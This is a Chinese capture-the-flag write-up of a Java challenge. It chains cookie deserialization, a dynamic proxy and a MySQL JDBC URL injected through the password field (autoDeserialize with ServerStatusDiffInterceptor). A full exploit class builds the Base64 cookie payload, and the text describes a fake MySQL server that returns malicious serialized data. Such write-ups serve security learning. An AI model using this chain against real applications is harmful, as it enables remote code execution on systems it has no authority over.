知识点
动态代理触发实体类的危险方法+jdbc mysql反序列化
解题过程
先看一下Controller里面的代码:
整体的逻辑还是比较简单的,就是在index传入username和password,然后把这些数据封装到UserInfo对象,并存储到Cookie作为登录凭证。当我们访问hello的时候,Cookie中的数据会被deserialize,我们的username和pasword也就出来了。
那么应该可以想到这么一些东西:deserialize的数据在cookie里,而cookie的数据我们可控,即我们可以操纵反序列化的数据
上面的东西是题目的一环,不过条件还没用完,我们去看看其他文件,能够发现DatabaseInfo里面有数据库连接的行为:
connect()里面的密码是直接拼接的,意味着我们可以在后面添加任意参数。然后这个checkAllInfo又调用了connect()。那怎么样才能触发这个checkAllInfo呢?这个就要用到我们的最后一个条件,动态代理。
去看看这个动态代理:
很明显,这个invoke里面是有checkAllInfo的,而且只要调用被动态代理类的方法,这个invoke就肯定会被调用。那整条链子就出来了,先直接看EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler; import gdufs.challenge.web.model.DatabaseInfo; import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy; import java.util.Base64;
public class EXP { public static void main(String[] args) throws IOException { DatabaseInfo databaseInfo = new DatabaseInfo(); databaseInfo.setHost("127.0.0.1"); databaseInfo.setPort("3309"); databaseInfo.setPassword("123456&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"); databaseInfo.setUsername("root"); InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo); Info info=(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),databaseInfo.getClass().getInterfaces(), infoInvocationHandler); byte[] bytes = serializeBytes(info); System.out.println(Base64.getEncoder().encodeToString(bytes)); }
public static byte[] serializeBytes(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); return byteArrayOutputStream.toByteArray(); } }
|
我这里正向整理一遍:deserialize后得到我们设置的DatabaseInfo的动态代理,赋值给info;info.getAllInfo()触发动态代理里面的invoke();invoke里面的checkAllInfo()触发DatabaseInfo里面的connect()。从而触发漏洞。
接下来只要用python在3309端口开一个fake mysql的服务,然后返回恶意的序列化数据就可以了,就是之前学的mysql jdbc反序列化里面的内容。